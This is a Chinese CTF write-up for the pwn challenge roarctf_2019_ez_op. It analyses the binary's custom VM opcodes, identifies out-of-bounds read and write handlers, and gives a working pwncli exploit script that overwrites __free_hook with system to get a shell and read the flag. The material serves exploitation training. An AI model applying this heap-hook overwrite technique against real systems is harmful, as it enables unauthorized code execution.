roarctf_2019_ez_op

总结

又是一道虚拟机的题,记录一下分析过程。虚拟机的题一般来说exp不会很复杂,但是分析起来需要时间。

题目分析

checksec

image-20211211150120097

主题到该文件是静态编译的,并且去除了符号。首先需要恢复一些符号,静态编译去符号文件的恢复可以参考这篇博客。根据教程一步步恢复即可,实在恢复不了的呢,可以用strace或者gdb之类的工具动态调试一下,然后大概猜一下函数的功能。毕竟常用的函数就那么几个。

函数分析

首先恢复一下结构体:

1
2
3
4
5
struct Block{
	int *stack_ptr;
    int size;
    int sp;
};
main

image-20211211152836163

do_malloc

image-20211211152914142

就是在分配结构体,然后分配内存,刷新sizesp

copy_value

image-20211211152943679

拷贝输入到前面分配的两个block

do_vm

image-20211211154343941

这里的流程比较多,逐个分析,首先将前面分配的两个block以此命名为:use_blockopcode_block,还有一个临时变量,命名为tmp_block

主要的流程如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
首先从opcode_block的stack中pop出一个值,赋值给opcode,判断是否进入下面的分支:
当opcode为:
	0x10101010:
		v1 = tmp_block.pop()
		v2 = tmp_block.pop()
		tmp_block->stack_ptr[tmp_block->sp+v1] = v2 // 这里存在溢出写
	0xFFFF28:
		v = tmp_block.pop()
		use_block.push(v)
	0xABCEF:
		v1 = tmp_block.pop()
		v2 = tmp_block.pop()
		tmp_block.push(v1 * v2)
	0x11111:
		v1 = tmp_block.pop()
		v2 = tmp_block.pop()
		tmp_block.push(v1 - v2)
	0x2A3D:
		v = use_block.pop()
		tmp_block.push(v)
	0x514:
		v1 = tmp_block.pop()
		v2 = tmp_block.pop()
		tmp_block.push(v1 / v2)
	-1:
		v = tmp_block.pop()
		v1 = tmp_block->stack_ptr[tmp_block->sp + v]
		tmp_block.push(v1) // 这里存在溢出读
	0:
		v1 = tmp_block.pop()
		v2 = tmp_block.pop()
		tmp_block.push(v1 + v2)
		
执行完成后,释放tmp_block

利用思路

将虚拟机的执行流程分析完后,利用思路有很多,我的思路为:

  • 调试可知,tmp_blockstack_ptr地址要低于tmp_block的地址。利用0x10101010的溢出,将tmp_block->stack_ptr修改为__free_hook-0x8
  • 利用use2tmp,将__free_hook-0x8的内容填充为/bin/sh\x00\x00\x00+p64(system)
  • 最后释放tmp_block的是时候,会执行system(""/bin/sh")

在静态编译的ELF文件中寻找system函数有个小技巧,寻找exit 0字符串:

image-20211211155928001

即可找到system地址如下:

image-20211211160037722

EXP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
from pwncli import *

cli_script()

io: tube = gift['io']

free_hook_addr = 0x80e09f0
system_addr = 0x8051c60

def get_payload(int_list):
    res = ""
    for i in int_list:
        res += str(i) + " "
    res = res.rstrip()
    info(f"Get payload: {res}")
    return res

opcodes = [0x2a3d, 0x2a3d, 0x10101010, 0x2a3d, 0x2a3d, 0x2a3d]
uses = [free_hook_addr - 8, 0x45, 0x6e69622f, 0x68732f, system_addr]

io.sendline(get_payload(opcodes))
sleep(1)
io.sendline(get_payload(uses))

sleep(1)
io.sendline("cat /flag")

io.interactive()

image-20211211160647000

引用与参考

1、My Blog

2、Ctf Wiki

3、pwncli

Buy me a coffee~
roderick 支付宝支付宝
roderick 微信微信
0%